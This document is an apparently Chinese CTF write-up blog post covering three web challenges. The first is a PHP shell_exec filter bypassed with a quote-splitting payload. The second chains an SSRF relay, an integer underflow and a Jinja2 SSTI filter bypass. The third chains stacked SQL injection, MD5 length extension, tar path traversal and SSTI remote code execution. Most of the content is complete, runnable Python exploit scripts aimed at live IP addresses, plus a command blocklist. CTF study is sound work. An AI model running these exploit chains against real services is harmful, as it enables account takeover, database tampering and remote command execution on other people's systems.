PC9oMj48cD7mo4DmtYvliLDljbHpmannmoTprZTms5XlkpLor60uLi48L3A+PC9kaXY+PC9ib2R5PjwvaHRtbD4nKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICANCiAgICAgICAgICAgIGluY2x1ZGUoJGZpbGUpOw0KICAgICAgICB9DQogICAgICAgID8+DQogICAgICAgIA0KICAgICAgICA8ZGl2IGNsYXNzPSJiZyI+DQogICAgICAgICAgICDlpKnlk6rvvIzoipnoipnooqvlrp3nrrHmgKrlm7DkvY/kuobvvIzkvaDog73mlr3ms5XluK7lpbnohLHnprvlm7DlooPlkJcuLi4uLi4NCiAgICAgICAgPC9kaXY+DQogICAgICAgIA0KICAgICAgICA8P3BocA0KICAgICAgICBpZiAoaXNzZXQoJF9HRVRbJ3NwZWxsJ10pKSB7DQogICAgICAgICAgICBlY2hvICc8ZGl2IGNsYXNzPSJlcnJvci1ib3giPic7DQogICAgICAgICAgICBlY2hvICc8aDI+8J+UriDop6PlvIDlrp3nrrHmgKrnmoTlsIHljbA8L2gyPic7DQogICAgICAgICAgICBlY2hvICc8cHJlPic7DQogICAgICAgICAgICBlY2hvICLoipnoipk6IFwi6L+Z5Liq5a6d566x5oCq5pyJ5LiA5Liq5Y+k6ICB55qE5bCB5Y2wLOmcgOimgeato+ehrueahOmtlOazleWSkuivreaJjeiDveino+W8gC4uLlwiXG4iOw0KICAgICAgICAgICAgZWNobyAi6IqZ6IqZOiBcIuaIkeiusOW+l+WwgeWNsOeahOWFs+mUruWcqOagueebruW9leeahOafkOS4quaWh+S7tumHjC4uLlwiXG4iOw0KICAgICAgICAgICAgZWNobyAi6IqZ6IqZOiBcIuS9huaYr+WuneeuseaAqueahOmtlOazleWxj+manOS8muaLkue7neafkOS6m+WNsemZqeeahOWSkuivrSFcIlxuIjsNCiAgICAgICAgICAgIGVjaG8gIuiKmeiKmTogXCLkuZ/orrjkvaDlj6/ku6XnlKggTGludXgg5ZG95Luk5p2l6K+75Y+W6YKj5Liq5paH5Lu2P1wiXG4iOw0KDQogICAgICAgICAgICAkc3BlbGwgPSAkX0dFVFsnc3BlbGwnXTsNCiAgICAgICAgICAgIGVjaG8gIuS9oOeahOWSkuivrTogIiAuIGh0bWxzcGVjaWFsY2hhcnMoJHNwZWxsKSAuICJcbiI7DQogICAgICAgICAgICANCiAgICAgICAgICAgICRmb3JiaWRkZW4gPSBhcnJheSgnc3lzdGVtJywgJ2V4ZWMnLCAncGFzc3RocnUnLCAnc2hlbGxfZXhlYycsICdwb3BlbicsICdwcm9jX29wZW4nKTsNCiAgICAgICAgICAgIGZvcmVhY2ggKCRmb3JiaWRkZW4gYXMgJGJhZCkgew0KICAgICAgICAgICAgICAgIGlmIChzdHJpcG9zKCRzcGVsbCwgJGJhZCkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgIGRpZSgi4pqg77iPIOajgOa1i+WIsOemgeW/jOeahOm7kemtlOazlSFcbuiKmeiKmTogXCLlrp3nrrHmgKrmi5Lnu53kuobov5nkuKrlkpLor60uLi5cIlxuPC9wcmU+PC9kaXY+PC9ib2R5PjwvaHRtbD4iKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICANCiAgICAgICAgICAgIGlmIChzdHJpcG9zKCRzcGVsbCwgJ2ZsYWcnKSAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICBkaWUoIuKaoO+4jyDlrp3nrrHmgKrnmoTprZTms5XlsY/pmpzlkK/liqjkuoYh5a6D5LiN5YWB6K6455u05o6l5b+15Ye6ICdmbGFnJyDov5nkuKror40hXG48L3ByZT48L2Rpdj48L2JvZHk+PC9odG1sPiIpOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICAkYmxvY2tlZF9jb21tYW5kcyA9IGFycmF5KCdjYXQnLCAndGFjJywgJ25sJywgJ21vcmUnLCAnbGVzcycsICdoZWFkJywgJ3RhaWwnLCAnc29ydCcsICd1bmlxJywgJ3N0cmluZ3MnLCAnb2QnLCAneHhkJywgJ2hleGR1bXAnLCAnZ3JlcCcsICdhd2snLCAnc2VkJywgJ2N1dCcsICdyZXYnLCAnYmFzZTY0JywgJ2VudicpOw0KICAgICAgICAgICAgZm9yZWFjaCAoJGJsb2NrZWRfY29tbWFuZHMgYXMgJGNtZCkgew0KICAgICAgICAgICAgICAgIGlmIChzdHJpcG9zKCRzcGVsbCwgJGNtZCkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgIGRpZSgi4pqg77iPIOWuneeuseaAquivhuegtOS6huS9oOeahOWSkuivrSHlkb3ku6QgJyRjbWQnIOW3suiiq+WwgeWNsCFcbuiKmeiKmTogXCLov5nkupvluLjnlKjnmoTlkb3ku6Tpg73ooqvlsY/olL3kuoYuLi7lvpfmg7Pmg7Plhbbku5blip7ms5UuLi5cIlxuPC9wcmU+PC9kaXY+PC9ib2R5PjwvaHRtbD4iKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICANCiAgICAgICAgICAgIGVjaG8gIuaWveazleS4rS4uLlxuIjsNCiAgICAgICAgICAgIGVjaG8gIuKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgVxuIjsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgJHJlc3VsdCA9IHNoZWxsX2V4ZWMoJHNwZWxsKTsNCiAgICAgICAgICAgIA0KICAgICAgICAgICAgaWYgKCRyZXN1bHQpIHsNCiAgICAgICAgICAgICAgICBlY2hvICLinKgg5bCB5Y2w6Kej6Zmk5LqGIeWuneeuseaAqua2iOWkseS6hiFcblxuIjsNCiAgICAgICAgICAgICAgICBlY2hvICLjgJDmlr3ms5Xnu5PmnpzjgJE6XG4iOw0KICAgICAgICAgICAgICAgIGVjaG8gJHJlc3VsdDsNCiAgICAgICAgICAgICAgICBlY2hvICJcbuKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgeKUgVxuIjsNCiAgICAgICAgICAgICAgICBlY2hvICLoipnoipk6IFwi5aSq5qOS5LqGIeS9oOaIkOWKn+aVkeWHuuS6huaIkSHov5nmmK/miJHnj43ol4/nmoTnpZ7np5jljbfovbQs55yL55yL6YeM6Z2i5pyJ5LuA5LmIflwiXG4iOw0KICAgICAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICAgICBlY2hvICLinYwg5ZKS6K+t5Ly85LmO5rKh5pyJ5pWI5p6cLi4uXG4iOw0KICAgICAgICAgICAgICAgIGVjaG8gIuiKmeiKmTogXCLkuZ/orrjpnIDopoHosIPmlbTkuIDkuIvlkpLor63nmoTlhoXlrrk/XCJcbiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICANCiAgICAgICAgICAgIGVjaG8gJzwvcHJlPic7DQogICAgICAgICAgICBlY2hvICc8L2Rpdj4nOw0KICAgICAgICB9DQogICAgICAgID8+DQogICAgICAgIA0KICAgIDwvZGl2Pg0KPC9ib2R5Pg0KPC9odG1sPg==

对其进行解码并提取关键代码


        <?php
        if (isset($_GET['spell'])) {
            echo '<div class="error-box">';
            echo '<h2>🔮 解开宝箱怪的封印</h2>';
            echo '<pre>';
            echo "芙芙: "这个宝箱怪有一个古老的封印,需要正确的魔法咒语才能解开..."n";
            echo "芙芙: "我记得封印的关键在根目录的某个文件里..."n";
            echo "芙芙: "但是宝箱怪的魔法屏障会拒绝某些危险的咒语!"n";
            echo "芙芙: "也许你可以用 Linux 命令来读取那个文件?"n";

            $spell = $_GET['spell'];
            echo "你的咒语: " . htmlspecialchars($spell) . "n";

            $forbidden = array('system', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open');
            foreach ($forbidden as $bad) {
                if (stripos($spell, $bad) !== false) {
                    die("⚠️ 检测到禁忌的黑魔法!n芙芙: "宝箱怪拒绝了这个咒语..."n</pre></div></body></html>");
                }
            }

            if (stripos($spell, 'flag') !== false) {
                die("⚠️ 宝箱怪的魔法屏障启动了!它不允许直接念出 'flag' 这个词!n</pre></div></body></html>");
            }

            $blocked_commands = array('cat', 'tac', 'nl', 'more', 'less', 'head', 'tail', 'sort', 'uniq', 'strings', 'od', 'xxd', 'hexdump', 'grep', 'awk', 'sed', 'cut', 'rev', 'base64', 'env');
            foreach ($blocked_commands as $cmd) {
                if (stripos($spell, $cmd) !== false) {
                    die("⚠️ 宝箱怪识破了你的咒语!命令 '$cmd' 已被封印!n芙芙: "这些常用的命令都被屏蔽了...得想想其他办法..."n</pre></div></body></html>");
                }
            }

            echo "施法中...n";
            echo "━━━━━━━━━━━━━━━━━━━━n";

            $result = shell_exec($spell);

            if ($result) {
                echo "✨ 封印解除了!宝箱怪消失了!nn";
                echo "【施法结果】:n";
                echo $result;
                echo "n━━━━━━━━━━━━━━━━━━━━n";
                echo "芙芙: "太棒了!你成功救出了我!这是我珍藏的神秘卷轴,看看里面有什么~"n";
            } else {
                echo "❌ 咒语似乎没有效果...n";
                echo "芙芙: "也许需要调整一下咒语的内容?"n";
            }

            echo '</pre>';
            echo '</div>';
        }
        ?>

源码也很简单基本的提示都给了直接构造payload

构造payload

?spell=c%27%27at%20/f*

得到flag

08141208168280711207642457101562

cybers

有附件代码审计 整体思路就是

存在明显的前后端分离架构,前端(8080端口)存在参数校验和 /relay SSRF,后端(5000端口)存在核心业务逻辑漏洞。

频率限制绕过

def get_user() -> str:
    if 'user_id' not in session:
        session['user_id'] = uuid.uuid4()
    return session['user_id']

limiter = Limiter(app=app, key_func=get_user, default_limits=['5/minute'])

@app.route('/gift')
@limiter.limit("1/hour")

分析:

`flask_limiter` 的限流标识基于 `session['user_id']`。由于 Session 存在于客户端,只要发送不带 Cookie 的请求,服务端就会分配新的 UUID。这导致 `@limiter.limit("1/hour")` 等限制形同虚设,可以无限制重置身份发包。

NumPy 整数下溢出

@app.route('/gift')
def get_money():
    if 'money' in request.args:
        # 只限制了最大值,未限制负数
        if int(request.args.get('money')) < 80:
            int_money = int(request.args.get('money'))

@app.route('/genshop', methods=["POST"])
def get_letter():
    # ...
    money = np.array(money)
    money -= stimulate() * 5000
    if money < 0:
        result = "You don't have enough money"

分析:

/gift 接口缺少下界校验,可传入 64 位整数最小值 -9223372036854775808 存入 Session。
在 /genshop 接口中,money 被转换为 numpy.array,随后减去一个正数(stimulate() * 5000)。这会触发底层 C 语言的整数下溢出,使变量翻转为一个巨大的正数,完美绕过 money < 0 的校验进入后半段逻辑。

SSTI 与 WAF 绕过

@app.route('/genshop', methods=["POST"])
def get_letter():
    # ...
    else:
        session['money'] = 0
        letter = waf(letter) # 存在极严格的黑名单
        result = "You are not allowed to use this letter"
        if letter not in letters:
            # 漏洞点:输入直接拼接入 f-string 进行模板渲染
            result = f"The {letter} is not in the genshop"
    # ...
    return render_template_string(f"<h3>{result}</h3>")

分析:

letter 变量直接拼接入 render_template_string 导致 SSTI。由于后端 waf() 过滤了 . _ [ ] os 等关键字,需使用各种内置过滤器进行 bypass:

lipsum|string|batch(19)|first|last 提取下划线 _。
dict(o=1,s=1)|join 拼接出 os。
attr() 方法替代 . 属性调用。
通过 SUID 提权的 tar 命令:tar cf - /flag | tar xf - --to-stdout 越权读取 root 权限的 flag 文件。

exp.py

import requests
import urllib.parse
import re

TARGET = "http://45.40.247.139:18036"
s = requests.Session()

def relay_raw(raw_http):
    r = s.post(f"{TARGET}/relay", data={"port": "5000", "data": raw_http}, timeout=15)
    return r.text

def extract_cookie(resp):
    m = re.search(r'Set-Cookie: session=([^;]+)', resp)
    return m.group(1) if m else None

def setup_credits():
    s.get(f"{TARGET}/initialize")
    resp = relay_raw("GET /initialize HTTP/1.1rnHost: 127.0.0.1:5000rnrn")
    cookie = extract_cookie(resp)
    hack_http = (
        f"GET /hack?amount=-9223372036854775808 HTTP/1.1rn"
        f"Host: 127.0.0.1:5000rn"
        f"Cookie: session={cookie}rnrn"
    )
    resp = relay_raw(hack_http)
    return extract_cookie(resp) or cookie

def build_payload(cmd):
    parts = [
        '{%set ud=lipsum|string|batch(19)|first|last%}',
        '{%set gl=ud~ud~(dict(glob=1,als=1)|join)~ud~ud%}',
        '{%set gi=ud~ud~(dict(get=1,it=1,em=1)|join)~ud~ud%}',
        '{%set gd=lipsum|attr(gl)%}',
        '{%set bi=ud~ud~(dict(built=1,ins=1)|join)~ud~ud%}',
        '{%set bd=gd|attr(gi)(bi)%}',
        '{%set im=ud~ud~(dict(im=1,port=1)|join)~ud~ud%}',
        '{%set xx=dict(o=1,s=1)|join%}',
        '{%set omod=bd|attr(gi)(im)(xx)%}',
        '{%set po=dict(po=1,pen=1)|join%}',
        '{%set cr=dict(chr=1)|join%}',
        '{%set CF=bd|attr(gi)(cr)%}',
    ]
    cmd_expr = '~'.join([f'CF({ord(c)})' for c in cmd])
    parts.append('{%set cmd=' + cmd_expr + '%}')
    parts.append('{%print(omod|attr(po)(cmd)|attr(dict(re=1,ad=1)|join)())%}')
    return ''.join(parts)

def execute(cmd):
    cookie = setup_credits()
    payload = build_payload(cmd)
    body = f"fragment={urllib.parse.quote(payload)}"
    raw = (
        f"POST /market HTTP/1.1rn"
        f"Host: 127.0.0.1:5000rn"
        f"Cookie: session={cookie}rn"
        f"Content-Type: application/x-www-form-urlencodedrn"
        f"Content-Length: {len(body)}rnrn"
        f"{body}"
    )
    resp = relay_raw(raw)
    m = re.search(r"<h3>(.*?)</h3>", resp, re.DOTALL)
    return m.group(1).strip() if m else resp

if __name__ == '__main__':
    command = "tar cf - /flag 2>/dev/null | tar xf - --to-stdout"
    result = execute(command)
    flag = re.search(r'(DASCTF{.*?})', result)
    if flag:
        print(flag.group(1))
    else:
        print(result)
77940475591226541720597140039666

Fisafopil

这个题目 FastAPI + SQLite + Jinja2 构建,整体考察了多重漏洞的组合利用。完整攻击链为:堆叠注入泄露 Hash → MD5 长度扩展攻击绕过中间件防护 → 接管 Admin 权限 → Tar 目录穿越覆盖模板 → Jinja2 SSTI 触发 RCE。代码审计

SQL 注入漏洞

app.py/edit-profile 路由中,程序直接使用 f-string 拼接 SQL 语句并调用 cursor.executescript() 执行更新操作。

审计 ProfileUpdate 验证类发现,employee_number、phone_number 等字段均被正则 r"[^ws]" 严格过滤了特殊字符,唯独漏掉了 email 字段。由于使用了 executescript,支持以 ; 分隔执行多条 SQL 语句,导致严重的堆叠注入。

自定义加密算法分析

审计 encrypt.py,代码经过了下划线混淆处理。但提取其初始化常量 0x67452301, 0xEFCDAB89, 0x98BADCFE, 0x10325476,以及 K 表的生成逻辑 [int(math.floor(abs(math.sin(_________ + 1)) * (2**32))) for _________ in range(64)],可以断定这是一个标准的 MD5 哈希算法实现。后端加密逻辑为 MD5(SALT + password),其中 SALT 长度固定为 16 字节。

中间件重置机制与绕过 (MD5长度扩展攻击)

@app.middleware("http")
async def add_process_time_header(request: Request, call_next):
    # ...
    cursor.execute("SELECT password FROM users WHERE username = 'admin'")
    if cursor.fetchone()[0] in PASSWORD_SET:
        raise Exception
    except Exception:
        await startup_event() # 触发重置,清空数据库
PASSWORD_SET 保存了所有正常注册流程生成的密码 Hash。如果直接通过 SQL 注入将 admin 的密码修改为任意已知明文的 Hash,一旦验证在 PASSWORD_SET 中,数据库就会被初始化。

此处需利用 MD5 长度扩展攻击。已知 SALT 长度为 16,注册一个普通用户并设置密码(如长 8 字节),前置已知数据长度为 24 字节。通过 SQL 注入读取该 Hash 后,向其追加自定义数据,生成一个全新的合法 Hash,同时计算出带有 padding 的新密码。这个新 Hash 不存在于 PASSWORD_SET 中,从而完美绕过防御机制接管 Admin 账号。

Tar 目录穿越与 SSTI (RCE)
/admin/restore 路由中,处理上传的备份文件:

backup_tar_file = tarfile.open(backup_filepath, "r")
backup_tar_file.extractall(backup_dir)
获取 admin 权限后,可访问 /admin/restore 端点上传 .tar 备份文件。
后端使用 tarfile.extractall() 解压文件,该函数在旧版本中存在目录穿越漏洞,未对压缩包内的文件名进行绝对路径或 ../ 过滤。
结合前端由 Jinja2 渲染的特性,构造文件名为 ../templates/info.html 的恶意 tar 包覆盖原生模板。在模板中注入 {{ lipsum.__globals__["os"].popen("cat /flag").read() }}。由于 FastAPI 环境下的 Jinja2 通常带有 auto_reload 或在重新渲染时加载最新文件,访问 /info 即可触发 SSTI,实现 RCE

利用链构建

注册与信息收集:注册普通用户,通过 SQL 注入将自身密码的 Hash 更新到 email 字段,随后访问 /info 页面读取该 Hash。
算法伪造:利用提取到的 Hash 执行 MD5 长度扩展,生成带有扩展数据的伪造密码及对应的新 Hash。
越权接管:再次触发 SQL 注入,执行 UPDATE users SET password='<新Hash>' WHERE username='admin'。
覆盖模板:使用伪造密码登录 Admin,构造包含 ../templates/info.html 的 .tar 压缩包并上传。
RCE 提取:访问 /info,Jinja2 渲染被污染的模板,回显 Flag。

exp.py

import requests
import binascii
import struct
import math
import re
import tarfile
import io
import time
import random
import string

TARGET = "http://45.40.247.139:19231"

def left_rotate(n, b):
    return ((n << b) | (n >> (32 - b))) & 0xFFFFFFFF

K_TABLE = [int(math.floor(abs(math.sin(i+1))*(2**32))) & 0xFFFFFFFF for i in range(64)]
S_TABLE = [7,12,17,22]*4 + [5,9,14,20]*4 + [4,11,16,23]*4 + [6,10,15,21]*4

def md5_compress(state, block):
    a, b, c, d = state
    M = list(struct.unpack("<16I", block))
    A, B, C, D = a, b, c, d
    for i in range(64):
        if i < 16:
            F = (B & C) | ((~B) & 0xFFFFFFFF & D)
            g = i
        elif i < 32:
            F = (D & B) | (C & ((~D) & 0xFFFFFFFF))
            g = (5 * i + 1) % 16
        elif i < 48:
            F = B ^ C ^ D
            g = (3 * i + 5) % 16
        else:
            F = C ^ (B | ((~D) & 0xFFFFFFFF))
            g = (7 * i) % 16

        F = (F + A + K_TABLE[i] + M[g]) & 0xFFFFFFFF
        A = D
        D = C
        C = B
        B = (B + left_rotate(F, S_TABLE[i])) & 0xFFFFFFFF

    return ((a + A) & 0xFFFFFFFF, (b + B) & 0xFFFFFFFF, (c + C) & 0xFFFFFFFF, (d + D) & 0xFFFFFFFF)

def md5_padding(ml):
    return b"x80" + b"x00" * ((55 - ml) % 64) + struct.pack("<Q", ml * 8)

def md5_from_state(state, data):
    a, b, c, d = state
    for i in range(0, len(data), 64):
        a, b, c, d = md5_compress((a, b, c, d), data[i:i+64])
    return struct.pack("<4I", a, b, c, d).hex()

def length_extension(h, ml, ext):
    state = struct.unpack("<4I", bytes.fromhex(h))
    glue = md5_padding(ml)
    tl = ml + len(glue) + len(ext)
    return md5_from_state(state, ext + md5_padding(tl)), glue + ext

P1 = b"exploitpwd"
uname = "exp" + ''.join(random.choices(string.ascii_lowercase, k=6))
uh = binascii.b2a_hex(uname.encode()).decode()
ph = binascii.b2a_hex(P1).decode()

session = requests.Session()
session.timeout = 15

session.post(f"{TARGET}/register", json={
    "username": uh,
    "password": ph,
    "employee_number": "E00001",
    "email": "x@x.com",
    "phone_number": "11111111",
    "first_name": "T",
    "last_name": "U",
    "date_of_birth": "2000-01-01",
    "address": "A"
})

session.post(f"{TARGET}/login", data={
    "username": uh,
    "password": ph
})

sqli_get_hash = f"x@x.com'; UPDATE users SET address=(SELECT password FROM users WHERE username='{uname}') WHERE username='{uname}'; --"

session.post(f"{TARGET}/edit-profile", params={
    "employee_number": "E00001",
    "email": sqli_get_hash,
    "phone_number": "11111111",
    "first_name": "T",
    "last_name": "U",
    "date_of_birth": "2000-01-01",
    "address": "A"
})

r = session.get(f"{TARGET}/info")
hashes = re.findall(r'[a-f0-9]{32}', r.text)

if not hashes:
    print(r.text)
    exit(1)

known_hash = hashes[0]

original_len = 16 + len(P1)
append_data = b"admin_ext"

new_hash, data_appended = length_extension(known_hash, original_len, append_data)
extended_password = P1 + data_appended

sqli_set_admin = f"x@x.com'; UPDATE users SET password='{new_hash}' WHERE username='admin'; --"
session.post(f"{TARGET}/edit-profile", params={
    "employee_number": "E00001",
    "email": sqli_set_admin,
    "phone_number": "11111111",
    "first_name": "T",
    "last_name": "U",
    "date_of_birth": "2000-01-01",
    "address": "A"
})

admin_session = requests.Session()
admin_session.timeout = 15
admin_session.post(f"{TARGET}/login", data={
    "username": binascii.b2a_hex(b"admin").decode(),
    "password": extended_password.hex()
}, allow_redirects=False)

ssti = '<!DOCTYPE html><html><body><pre>{{ lipsum.__globals__["os"].popen("cat /flag /flag.txt 2>/dev/null").read() }}</pre></body></html>'
tar_buf = io.BytesIO()
with tarfile.open(fileobj=tar_buf, mode="w") as tf:
    info = tarfile.TarInfo(name="../templates/info.html")
    c = ssti.encode()
    info.size = len(c)
    tf.addfile(info, io.BytesIO(c))

tar_buf.seek(0)
admin_session.post(f"{TARGET}/admin/restore", files={"restore_file": ("backup.tar", tar_buf, "application/x-tar")})
time.sleep(1)

r = admin_session.get(f"{TARGET}/info")
flag_match = re.search(r'(flag{.*?}|[a-zA-Z0-9_]+{.*?})', r.text, re.IGNORECASE)
if flag_match:
    print(flag_match.group(1))
else:
    print(r.text.strip())

6举办方把容器 关了在解的时候 ,eeeeee现在无法运行了 无语

截图是原来的

19553017011550894814121115164191
文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇